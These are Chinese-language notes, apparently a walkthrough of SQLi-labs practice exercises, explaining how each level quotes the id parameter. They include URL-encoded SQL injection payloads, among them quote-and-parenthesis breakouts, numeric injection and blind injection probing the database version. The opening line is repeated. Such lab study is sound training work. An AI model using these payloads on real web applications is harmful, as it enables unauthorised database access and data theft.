对变量id做了处理。该处理在id前后添加双引号。 ?id=1%22%29+and+1=2%23 无显示,可注入 SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1
对变量id做了处理。该处理在id前后添加双引号。 ?id=1%22%29+and+1=2%23 无显示,可注入 SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1
源码:同样未做过滤,但此处的变量id无引号。大概是直接将变量id当做整形传入查询。?id=12 显示id为12的用户?id=12a 报错:Unknown column '12a' in 'where clause'?id=%31 显示id为1的用户注入测试:?id=1+and+left(version(),1)=5 直接注入即可得到版本号
这是Less-1输入变量部分的源码,可以看到对于直接GET进来的文本没有过滤。同时,在查询语句中,id='$id',变量加了引号。这里引号的意思是把输入的id当做字符串来处理,取从头开始的最长数字且类型转换为整形进行查询。 ?id=12a 显示id为12的用户 ?id=1a2a 显示id为1的用户 ?id=102a 显示id为102的用户(不存在) 盲注 ?id=1%27and+left(version(),1)=5%23 得出数据库版本为5开头 ?id=1%27and+length(database())=8%2…